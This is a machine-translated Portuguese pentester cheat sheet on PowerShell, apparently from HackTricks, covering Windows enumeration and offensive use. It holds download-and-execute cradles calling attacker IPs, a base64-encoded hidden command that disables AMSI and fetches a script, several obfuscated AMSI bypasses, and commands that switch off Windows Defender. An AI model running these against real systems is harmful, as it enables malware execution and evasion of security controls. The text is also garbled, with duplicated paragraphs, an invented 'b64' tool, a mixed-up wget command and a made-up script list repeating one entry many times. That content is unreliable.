hacktricks/windows-hardening/basic-powershell-for-pentesters
2023-09-11 15:59:11 +00:00
..
powerview.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2023-09-11 15:59:11 +00:00

PowerShell Básico para Pentesters

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Localizações padrão do PowerShell

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Comandos básicos do PowerShell para começar

O PowerShell é uma poderosa ferramenta de linha de comando e automação desenvolvida pela Microsoft. É amplamente utilizado por pentesters para realizar várias tarefas durante um teste de penetração. Abaixo estão alguns comandos básicos do PowerShell que podem ser úteis para começar:

Get-Process

O comando Get-Process é usado para obter informações sobre os processos em execução no sistema. Ele exibe detalhes como o ID do processo, nome do processo, uso de CPU e memória.

Exemplo de uso:

Get-Process

Get-Service

O comando Get-Service é usado para obter informações sobre os serviços em execução no sistema. Ele exibe detalhes como o nome do serviço, status, modo de inicialização e descrição.

Exemplo de uso:

Get-Service

Get-EventLog

O comando Get-EventLog é usado para obter informações sobre os logs de eventos do sistema. Ele permite visualizar eventos específicos, como logs de segurança, logs de aplicativos e logs do sistema.

Exemplo de uso:

Get-EventLog -LogName Security

Get-WmiObject

O comando Get-WmiObject é usado para obter informações do Windows Management Instrumentation (WMI). Ele permite acessar informações do sistema, como configurações de hardware, software instalado e muito mais.

Exemplo de uso:

Get-WmiObject -Class Win32_ComputerSystem

Get-ChildItem

O comando Get-ChildItem é usado para listar os arquivos e pastas em um diretório específico. Ele exibe detalhes como nome, tamanho, data de criação e atributos dos arquivos e pastas.

Exemplo de uso:

Get-ChildItem C:\Users

Esses são apenas alguns dos comandos básicos do PowerShell que podem ser úteis para começar. O PowerShell oferece uma ampla gama de recursos e funcionalidades avançadas que podem ser exploradas para fins de pentesting.

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Baixar e Executar

To download and execute a file using PowerShell, you can use the following command:

Para baixar e executar um arquivo usando o PowerShell, você pode usar o seguinte comando:

Invoke-WebRequest -Uri <URL> -OutFile <output_file>; .\<output_file>

Replace <URL> with the URL of the file you want to download, and <output_file> with the desired name for the downloaded file.

Substitua <URL> pela URL do arquivo que você deseja baixar e <output_file> pelo nome desejado para o arquivo baixado.

For example, to download a file named payload.exe from http://example.com/payload.exe and execute it, you would use the following command:

Por exemplo, para baixar um arquivo chamado payload.exe de http://example.com/payload.exe e executá-lo, você usaria o seguinte comando:

Invoke-WebRequest -Uri http://example.com/payload.exe -OutFile payload.exe; .\payload.exe

Make sure to exercise caution when downloading and executing files from the internet, as they may contain malicious content. Always verify the source and integrity of the file before executing it.

Certifique-se de ter cuidado ao baixar e executar arquivos da internet, pois eles podem conter conteúdo malicioso. Sempre verifique a origem e a integridade do arquivo antes de executá-lo.

g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Baixar e Executar em segundo plano com Bypass AMSI

Este script PowerShell permite baixar e executar um arquivo em segundo plano, contornando o AMSI (Antimalware Scan Interface).

Uso

  1. Abra o PowerShell como administrador.
  2. Execute o seguinte comando para habilitar a execução de scripts não assinados:
Set-ExecutionPolicy Bypass -Scope Process -Force
  1. Execute o seguinte comando para baixar e executar o arquivo em segundo plano:
IEX (New-Object Net.WebClient).DownloadString('URL_DO_ARQUIVO')

Substitua URL_DO_ARQUIVO pela URL do arquivo que deseja baixar e executar.

Observações

  • Certifique-se de que você tem permissões de administrador para executar o PowerShell.
  • O AMSI é um recurso de segurança do Windows que verifica scripts PowerShell em busca de malware. O bypass do AMSI pode ser considerado uma técnica de evasão.
  • Tenha cuidado ao executar scripts de fontes desconhecidas, pois isso pode representar um risco de segurança.
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

Usando b64 no Linux

O comando b64 é uma ferramenta útil para codificar e decodificar dados em base64 no Linux. Ele pode ser usado para várias finalidades, como a manipulação de dados codificados em base64 durante testes de penetração.

Codificando dados em base64

Para codificar dados em base64 usando o comando b64, você pode executar o seguinte comando:

echo "dados" | b64 -e

Substitua "dados" pelos dados que você deseja codificar. O comando acima irá codificar os dados em base64 e exibir o resultado na saída padrão.

Decodificando dados em base64

Para decodificar dados em base64 usando o comando b64, você pode executar o seguinte comando:

echo "dados codificados em base64" | b64 -d

Substitua "dados codificados em base64" pelos dados que você deseja decodificar. O comando acima irá decodificar os dados em base64 e exibir o resultado na saída padrão.

Exemplo de uso

Aqui está um exemplo de como usar o comando b64 para codificar e decodificar dados em base64:

# Codificando dados em base64
echo "Hello, world!" | b64 -e

# Saída: SGVsbG8sIHdvcmxkIQ==

# Decodificando dados em base64
echo "SGVsbG8sIHdvcmxkIQ==" | b64 -d

# Saída: Hello, world!

O comando b64 é uma ferramenta útil para manipular dados codificados em base64 no Linux. Ele pode ser usado em várias situações durante testes de penetração e outras atividades relacionadas à segurança.

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

Download

System.Net.WebClient

O System.Net.WebClient é uma classe do .NET Framework que fornece métodos para fazer download de arquivos da web. Ele é amplamente utilizado por pentesters para baixar arquivos maliciosos ou explorar vulnerabilidades em sistemas.

Exemplo de Uso

$webClient = New-Object System.Net.WebClient
$url = "http://www.example.com/malware.exe"
$destination = "C:\Downloads\malware.exe"
$webClient.DownloadFile($url, $destination)

Neste exemplo, o System.Net.WebClient é usado para baixar um arquivo malicioso chamado malware.exe do URL http://www.example.com/malware.exe e salvá-lo no diretório C:\Downloads.

Observações

  • Certifique-se de que você tem permissão para baixar arquivos da web antes de usar o System.Net.WebClient.
  • Tenha cuidado ao baixar arquivos maliciosos e execute-os apenas em um ambiente controlado e seguro.
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

O comando Invoke-WebRequest é usado para enviar solicitações HTTP e HTTPS para um servidor web. Ele permite que os pentesters realizem várias ações, como fazer o download de arquivos, enviar dados para um formulário da web e obter informações de uma página da web.

Sintaxe

Invoke-WebRequest [-Uri] <string> [-Method <WebRequestMethod>] [-Headers <IDictionary>] [-Body <Object>] [-ContentType <string>] [-UserAgent <string>] [-TimeoutSec <int>] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-UseBasicParsing] [-SessionVariable <string>] [-WebSession <WebRequestSession>] [-MaximumRedirection <int>] [-SkipCertificateCheck] [<CommonParameters>]

Parâmetros

  • -Uri: Especifica a URL do servidor web para enviar a solicitação.
  • -Method: Especifica o método HTTP a ser usado na solicitação, como GET, POST, PUT, DELETE, etc.
  • -Headers: Especifica os cabeçalhos HTTP personalizados a serem incluídos na solicitação.
  • -Body: Especifica o corpo da solicitação, que pode ser usado para enviar dados para um formulário da web ou para enviar uma carga útil personalizada.
  • -ContentType: Especifica o tipo de conteúdo do corpo da solicitação.
  • -UserAgent: Especifica o agente do usuário a ser usado na solicitação.
  • -TimeoutSec: Especifica o tempo limite, em segundos, para a solicitação.
  • -Proxy: Especifica o servidor proxy a ser usado para a solicitação.
  • -ProxyCredential: Especifica as credenciais a serem usadas para autenticação no servidor proxy.
  • -UseBasicParsing: Especifica se o analisador HTML básico deve ser usado para analisar a resposta.
  • -SessionVariable: Especifica o nome da variável para armazenar a sessão da solicitação.
  • -WebSession: Especifica uma sessão da solicitação existente a ser usada.
  • -MaximumRedirection: Especifica o número máximo de redirecionamentos permitidos.
  • -SkipCertificateCheck: Especifica se a verificação do certificado SSL deve ser ignorada.

Exemplos

  1. Fazendo uma solicitação GET para uma página da web:
Invoke-WebRequest -Uri "https://www.example.com"
  1. Fazendo uma solicitação POST com dados de formulário:
Invoke-WebRequest -Uri "https://www.example.com/login" -Method POST -Body @{username="admin"; password="password"} -ContentType "application/x-www-form-urlencoded"
  1. Fazendo o download de um arquivo:
Invoke-WebRequest -Uri "https://www.example.com/file.txt" -OutFile "C:\path\to\save\file.txt"
  1. Enviando uma solicitação com cabeçalhos personalizados:
$headers = @{
    "Authorization" = "Bearer token123"
    "Content-Type" = "application/json"
}

Invoke-WebRequest -Uri "https://www.example.com/api" -Headers $headers

Observações

  • O comando Invoke-WebRequest é uma ferramenta poderosa para interagir com servidores web durante um teste de penetração. Ele permite que os pentesters enviem solicitações personalizadas e obtenham informações úteis para identificar vulnerabilidades e explorar sistemas.
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

Wget is a command-line utility that allows you to retrieve files from the web. It supports downloading files using various protocols such as HTTP, HTTPS, and FTP. Wget is commonly used in penetration testing to download files from target systems.

To use Wget, you need to open a command prompt or terminal and enter the following command:

wget [URL]

Replace [URL] with the URL of the file you want to download. Wget will then retrieve the file and save it to your current directory.

Wget also supports options that allow you to customize the download process. For example, you can use the -O option to specify a different name for the downloaded file, or the -P option to specify a different directory to save the file in.

Here are some examples of how you can use Wget:

  • Download a file from a specific URL:
wget https://example.com/file.txt
  • Download a file and save it with a different name:
wget -O newfile.txt https://example.com/file.txt
  • Download a file and save it to a specific directory:
wget -P /path/to/directory https://example.com/file.txt

Wget is a powerful tool that can be used for various purposes, including downloading files during penetration testing. It is important to use it responsibly and within the boundaries of the law.

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

O BitsTransfer é um módulo do PowerShell que permite transferir arquivos entre computadores usando o protocolo Background Intelligent Transfer Service (BITS). O BITS é um serviço do Windows que permite transferências de arquivos em segundo plano, de forma assíncrona e com suporte a pausa e retomada.

O módulo BitsTransfer fornece cmdlets (comandos) que permitem iniciar, pausar, retomar e cancelar transferências de arquivos usando o BITS. Ele também permite monitorar o progresso das transferências e exibir informações detalhadas sobre cada transferência.

Os cmdlets do BitsTransfer são úteis para pentesters, pois permitem transferir arquivos de forma eficiente durante um teste de penetração. Por exemplo, você pode usar o cmdlet Start-BitsTransfer para transferir um arquivo malicioso para um sistema alvo e, em seguida, usar o cmdlet Get-BitsTransfer para monitorar o progresso da transferência.

O BitsTransfer é uma ferramenta poderosa para pentesters que desejam explorar vulnerabilidades em sistemas Windows. No entanto, é importante usá-lo com responsabilidade e apenas para fins legais e éticos.

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Kali & EncodedCommand

Neste tutorial, vamos discutir como usar o Base64 no Kali Linux e o parâmetro EncodedCommand no PowerShell para executar comandos codificados.

Base64 no Kali Linux

O Base64 é um método de codificação que converte dados binários em texto ASCII. No Kali Linux, podemos usar o comando base64 para codificar e decodificar arquivos ou strings.

Para codificar um arquivo usando o Base64, use o seguinte comando:

base64 arquivo.txt

Isso irá codificar o conteúdo do arquivo arquivo.txt e exibir o resultado na saída padrão.

Para decodificar um arquivo codificado em Base64, use o seguinte comando:

base64 -d arquivo.codificado

Isso irá decodificar o arquivo arquivo.codificado e exibir o conteúdo original na saída padrão.

Parâmetro EncodedCommand no PowerShell

O PowerShell é uma poderosa ferramenta de linha de comando e script da Microsoft. O parâmetro EncodedCommand permite que você execute comandos codificados em Base64 diretamente no PowerShell.

Para codificar um comando em Base64, você pode usar o seguinte comando no PowerShell:

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("comando"))

Substitua "comando" pelo comando que você deseja codificar.

Em seguida, você pode executar o comando codificado usando o parâmetro EncodedCommand:

powershell.exe -EncodedCommand "Y29tbWFuZA=="

Isso executará o comando codificado em Base64 no PowerShell.

Lembre-se de que o uso de comandos codificados em Base64 pode ajudar a evitar a detecção de antivírus e firewalls, mas também pode ser considerado uma atividade maliciosa. Certifique-se de usar essas técnicas apenas para fins legítimos e autorizados.

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

Política de Execução

Linguagem Restrita

Política do AppLocker

Habilitar o WinRM (PS Remoto)

enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Desativar o Defender

{% code overflow="wrap" %}

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

{% endcode %}

Bypass AMSI

O arquivo amsi.dll é carregado no seu processo e possui as exportações necessárias para qualquer aplicativo interagir com ele. E como ele é carregado no espaço de memória de um processo que você controla, você pode alterar seu comportamento sobrescrevendo instruções na memória. Fazendo com que ele não detecte nada.

Portanto, o objetivo dos bypasses do AMSI é sobrescrever as instruções dessa DLL na memória para tornar a detecção inútil.

Página da web do gerador de bypass do AMSI: https://amsi.fail/

# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

Bypass AMSI 2 - Hooking de Chamada de API Gerenciada

Verifique este post para informações detalhadas e o código.

Essa nova técnica baseia-se no hooking de chamadas de API de métodos .NET. Acontece que os métodos .NET precisam ser compilados em instruções nativas da máquina na memória, que acabam se parecendo muito com métodos nativos. Esses métodos compilados podem ser hookados para alterar o fluxo de controle de um programa.

Os passos para realizar o hooking de chamadas de API de métodos .NET são:

  1. Identificar o método alvo para o hook
  2. Definir um método com o mesmo protótipo de função do alvo
  3. Usar reflexão para encontrar os métodos
  4. Garantir que cada método tenha sido compilado
  5. Encontrar a localização de cada método na memória
  6. Sobrescrever o método alvo com instruções apontando para nosso método malicioso

Bypass AMSI 3 - Privilégio SeDebug

Seguindo este guia e código, você pode ver como, com privilégios suficientes para depurar processos, é possível criar um processo powershell.exe, depurá-lo, monitorar quando ele carrega amsi.dll e desabilitá-lo.

Histórico do PS

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

Obter permissões

To gather information about the permissions assigned to a user or a group in a Windows system, you can use the following PowerShell commands:

Para obter informações sobre as permissões atribuídas a um usuário ou a um grupo em um sistema Windows, você pode usar os seguintes comandos do PowerShell:

Get-ACL

The Get-ACL command retrieves the Access Control List (ACL) for a specified file or directory. It provides detailed information about the permissions assigned to the file or directory.

O comando Get-ACL recupera a Lista de Controle de Acesso (ACL) para um arquivo ou diretório especificado. Ele fornece informações detalhadas sobre as permissões atribuídas ao arquivo ou diretório.

Get-ACL -Path C:\path\to\file.txt

Get-Acl | Format-List

The Get-Acl | Format-List command retrieves the ACL for a specified file or directory and formats the output as a list. This command provides a more detailed view of the permissions assigned to the file or directory.

O comando Get-Acl | Format-List recupera a ACL para um arquivo ou diretório especificado e formata a saída como uma lista. Este comando fornece uma visão mais detalhada das permissões atribuídas ao arquivo ou diretório.

Get-ACL -Path C:\path\to\file.txt | Format-List

Get-NTFSAccess

The Get-NTFSAccess command retrieves the NTFS permissions for a specified file or directory. It provides a simplified view of the permissions assigned to the file or directory.

O comando Get-NTFSAccess recupera as permissões NTFS para um arquivo ou diretório especificado. Ele fornece uma visão simplificada das permissões atribuídas ao arquivo ou diretório.

Get-NTFSAccess -Path C:\path\to\file.txt

Get-EffectiveAccess

The Get-EffectiveAccess command retrieves the effective permissions for a specified user or group on a file or directory. It takes into account both explicit and inherited permissions.

O comando Get-EffectiveAccess recupera as permissões efetivas para um usuário ou grupo especificado em um arquivo ou diretório. Ele leva em consideração tanto as permissões explícitas quanto as herdadas.

Get-EffectiveAccess -Path C:\path\to\file.txt -Principal "DOMAIN\username"

These commands can be useful for a pentester to gather information about the permissions assigned to files and directories, which can help identify potential security vulnerabilities in a Windows system.

Esses comandos podem ser úteis para um pentester obter informações sobre as permissões atribuídas a arquivos e diretórios, o que pode ajudar a identificar possíveis vulnerabilidades de segurança em um sistema Windows.

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

Versão do sistema operacional e HotFixes

O PowerShell pode ser usado para obter informações sobre a versão do sistema operacional e os HotFixes instalados. Isso pode ser útil para identificar vulnerabilidades conhecidas e garantir que o sistema esteja atualizado.

Obtendo a versão do sistema operacional

Para obter a versão do sistema operacional, você pode usar o seguinte comando:

(Get-WmiObject -Class Win32_OperatingSystem).Caption

Isso retornará a versão do sistema operacional instalado no computador.

Obtendo a lista de HotFixes

Para obter a lista de HotFixes instalados, você pode usar o seguinte comando:

Get-HotFix

Isso retornará uma lista de todos os HotFixes instalados no sistema, incluindo o nome, descrição, data de instalação e número de identificação.

Verificando a presença de HotFixes específicos

Se você estiver procurando por um HotFix específico, pode usar o seguinte comando para verificar se ele está instalado:

Get-HotFix -Id <HotFixID>

Substitua <HotFixID> pelo número de identificação do HotFix que você está procurando. Se o HotFix estiver instalado, ele será exibido na saída. Caso contrário, nenhum resultado será retornado.

Essas informações podem ser úteis para identificar vulnerabilidades conhecidas e garantir que o sistema esteja protegido contra ameaças conhecidas.

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Ambiente


Description


Descrição

This repository contains basic PowerShell scripts that can be used by pentesters during Windows hardening engagements. These scripts are designed to help pentesters automate common tasks and perform security assessments on Windows systems.

Este repositório contém scripts básicos do PowerShell que podem ser usados por pentesters durante as atividades de fortalecimento do Windows. Esses scripts foram projetados para ajudar os pentesters a automatizar tarefas comuns e realizar avaliações de segurança em sistemas Windows.

Usage


Uso

To use these scripts, you will need to have PowerShell installed on your Windows machine. You can download PowerShell from the official Microsoft website.

Para utilizar esses scripts, você precisará ter o PowerShell instalado em sua máquina Windows. Você pode baixar o PowerShell no site oficial da Microsoft.

Once you have PowerShell installed, you can run the scripts by opening a PowerShell terminal and executing the desired script using the .\ prefix. For example, to run the get-processes.ps1 script, you would use the following command:

Depois de ter o PowerShell instalado, você pode executar os scripts abrindo um terminal do PowerShell e executando o script desejado usando o prefixo .\. Por exemplo, para executar o script get-processes.ps1, você usaria o seguinte comando:

.\get-processes.ps1

Scripts


Scripts

This repository contains the following scripts:

Este repositório contém os seguintes scripts:

  • get-processes.ps1: This script retrieves a list of running processes on the system.

  • get-processes.ps1: Este script recupera uma lista de processos em execução no sistema.

  • get-services.ps1: This script retrieves a list of installed services on the system.

  • get-services.ps1: Este script recupera uma lista de serviços instalados no sistema.

  • get-registry-keys.ps1: This script retrieves a list of registry keys on the system.

  • get-registry-keys.ps1: Este script recupera uma lista de chaves de registro no sistema.

  • get-event-logs.ps1: This script retrieves a list of event logs on the system.

  • get-event-logs.ps1: Este script recupera uma lista de logs de eventos no sistema.

  • get-network-connections.ps1: This script retrieves a list of active network connections on the system.

  • get-network-connections.ps1: Este script recupera uma lista de conexões de rede ativas no sistema.

  • get-file-attributes.ps1: This script retrieves the attributes of a specified file.

  • get-file-attributes.ps1: Este script recupera os atributos de um arquivo especificado.

  • get-file-hash.ps1: This script calculates the hash value of a specified file.

  • get-file-hash.ps1: Este script calcula o valor de hash de um arquivo especificado.

  • get-file-permissions.ps1: This script retrieves the permissions of a specified file.

  • get-file-permissions.ps1: Este script recupera as permissões de um arquivo especificado.

  • get-file-content.ps1: This script retrieves the content of a specified file.

  • get-file-content.ps1: Este script recupera o conteúdo de um arquivo especificado.

  • get-file-metadata.ps1: This script retrieves the metadata of a specified file.

  • get-file-metadata.ps1: Este script recupera os metadados de um arquivo especificado.

  • get-logged-in-users.ps1: This script retrieves a list of currently logged in users on the system.

  • get-logged-in-users.ps1: Este script recupera uma lista de usuários atualmente logados no sistema.

  • get-system-info.ps1: This script retrieves information about the system, such as the operating system version and hardware details.

  • get-system-info.ps1: Este script recupera informações sobre o sistema, como a versão do sistema operacional e detalhes do hardware.

  • get-network-info.ps1: This script retrieves information about the network configuration of the system.

  • get-network-info.ps1: Este script recupera informações sobre a configuração de rede do sistema.

  • get-firewall-rules.ps1: This script retrieves a list of firewall rules on the system.

  • get-firewall-rules.ps1: Este script recupera uma lista de regras de firewall no sistema.

  • get-antivirus-status.ps1: This script retrieves the status of the installed antivirus software on the system.

  • get-antivirus-status.ps1: Este script recupera o status do software antivírus instalado no sistema.

  • get-usb-devices.ps1: This script retrieves a list of connected USB devices on the system.

  • get-usb-devices.ps1: Este script recupera uma lista de dispositivos USB conectados no sistema.

  • get-running-services.ps1: This script retrieves a list of currently running services on the system.

  • get-running-services.ps1: Este script recupera uma lista de serviços atualmente em execução no sistema.

  • get-installed-software.ps1: This script retrieves a list of installed software on the system.

  • get-installed-software.ps1: Este script recupera uma lista de software instalado no sistema.

  • get-scheduled-tasks.ps1: This script retrieves a list of scheduled tasks on the system.

  • get-scheduled-tasks.ps1: Este script recupera uma lista de tarefas agendadas no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

